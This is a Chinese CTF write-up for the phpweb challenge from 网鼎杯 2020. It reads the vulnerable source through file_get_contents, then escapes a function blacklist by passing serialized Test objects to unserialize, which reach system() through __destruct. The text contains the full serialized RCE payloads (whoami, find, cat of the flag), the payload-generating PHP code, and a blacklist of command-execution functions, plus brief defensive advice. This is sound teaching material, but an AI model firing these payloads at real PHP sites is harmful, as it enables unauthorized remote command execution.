从黑名单绕过到反序列化利用:深度剖析[网鼎杯 2020 朱雀组]phpweb的解题路径
2026/8/2 8:23:36 网站建设 项目流程

1. 初探phpweb题目环境

第一次打开这个题目页面时,我注意到页面每隔5秒就会自动刷新一次。这个行为立即引起了我的警觉,因为通常这种自动刷新机制背后都隐藏着某些关键逻辑。我习惯性地打开了浏览器开发者工具,切换到Network面板开始抓包。

果然,每次刷新时都会向服务器发送一个POST请求,携带两个关键参数:func和p。这让我联想到PHP中常见的函数调用模式 - 第一个参数指定要调用的函数名,第二个参数则是要传递给该函数的参数值。为了验证这个猜想,我尝试用PHP命令行快速测试了一下date函数的输出格式:

php -r "var_dump(date('Y-m-d h:i:s a'));"

结果显示当前时间,这与页面上显示的时间格式完全一致。这进一步确认了我的猜测:func参数传递的是函数名,p参数传递的是该函数所需的参数。

2. 黑名单绕过尝试与失败

既然知道了func参数可以控制函数调用,我自然想到尝试一些危险函数。首先测试了eval、system、assert等常见命令执行函数,但都返回了"Hacker..."的错误提示。这说明题目设置了完善的黑名单过滤机制。

经过多次尝试,发现file_get_contents函数没有被过滤。利用这个函数,我成功读取到了index.php的源代码:

<?php $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents"); function gettime($func, $p) { $result = call_user_func($func, $p); $a= gettype($result); if ($a == "string") { return $result; } else {return "";} } class Test { var $p = "Y-m-d h:i:s a"; var $func = "date"; function __destruct() { if ($this->func != "") { echo gettime($this->func, $this->p); } } } $func = $_REQUEST["func"]; $p = $_REQUEST["p"]; if ($func != null) { $func = strtolower($func); if (!in_array($func,$disable_fun)) { echo gettime($func, $p); }else { die("Hacker..."); } } ?>

3. 代码审计与漏洞发现

仔细分析这段源代码,我发现了几个关键点:

  1. 黑名单机制:$disable_fun数组包含了几乎所有常见的危险函数
  2. 返回值限制:gettime函数只返回string类型的值
  3. Test类:包含$p和$func两个属性,在__destruct方法中会调用gettime函数

最有趣的是Test类的设计。它的__destruct方法会在对象销毁时自动执行,而且这里的函数调用绕过了黑名单检查!这意味着如果我们能控制Test对象的属性,就能执行任意函数。

但是如何触发这个逻辑呢?关键在于反序列化。如果能让服务器反序列化我们精心构造的数据,就能控制Test对象的属性。观察代码发现,func参数可以指定unserialize函数,而p参数可以传递序列化字符串。

4. 构造POP链实现RCE

基于以上分析,我编写了以下PHP代码来生成payload:

<?php class Test{ var $func = 'system'; var $p = "whoami;pwd;ls -lha ./"; } $res = new Test(); echo serialize($res); ?>

生成的序列化字符串为:

O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:21:"whoami;pwd;ls -lha ./";}

将这个payload通过POST请求发送给服务器:

func=unserialize&p=O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:21:"whoami;pwd;ls -lha ./";}

成功执行了系统命令!现在只需要找到flag文件的位置。我使用find命令搜索:

func=unserialize&p=O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:19:"find / -name *flag*";}

发现flag位于/tmp/flagoefiu4r93,最后用cat命令读取flag内容:

func=unserialize&p=O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:22:"cat /tmp/flagoefiu4r93";}

5. 漏洞利用的深层原理

这个漏洞的精妙之处在于它结合了多个PHP特性:

  1. 反序列化漏洞:通过unserialize函数触发对象实例化
  2. 魔术方法利用:__destruct在对象销毁时自动调用
  3. 黑名单绕过:Test类中的函数调用不经过黑名单检查
  4. POP链构造:通过控制对象属性实现任意函数调用

在实际渗透测试中,这种层层递进的漏洞利用思路非常典型。首先通过信息收集发现可能的攻击面,然后代码审计找出潜在漏洞,最后精心构造利用链实现攻击目标。

6. 防御措施与安全建议

针对这类漏洞,开发者可以采取以下防护措施:

  1. 避免使用反序列化功能,或者严格限制反序列化的数据来源
  2. 对魔术方法的使用要格外小心,特别是涉及敏感操作的
  3. 黑名单机制往往不够可靠,应该考虑白名单机制
  4. 及时更新PHP版本,修复已知的安全漏洞
  5. 对用户输入进行严格的类型检查和过滤

在CTF比赛中,这类题目很好地训练了选手的代码审计能力和漏洞利用思维。通过这道题,我更加理解了反序列化漏洞的利用方式和防御方法。在实际开发中,我也会更加注意这些安全细节,避免类似漏洞的出现。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询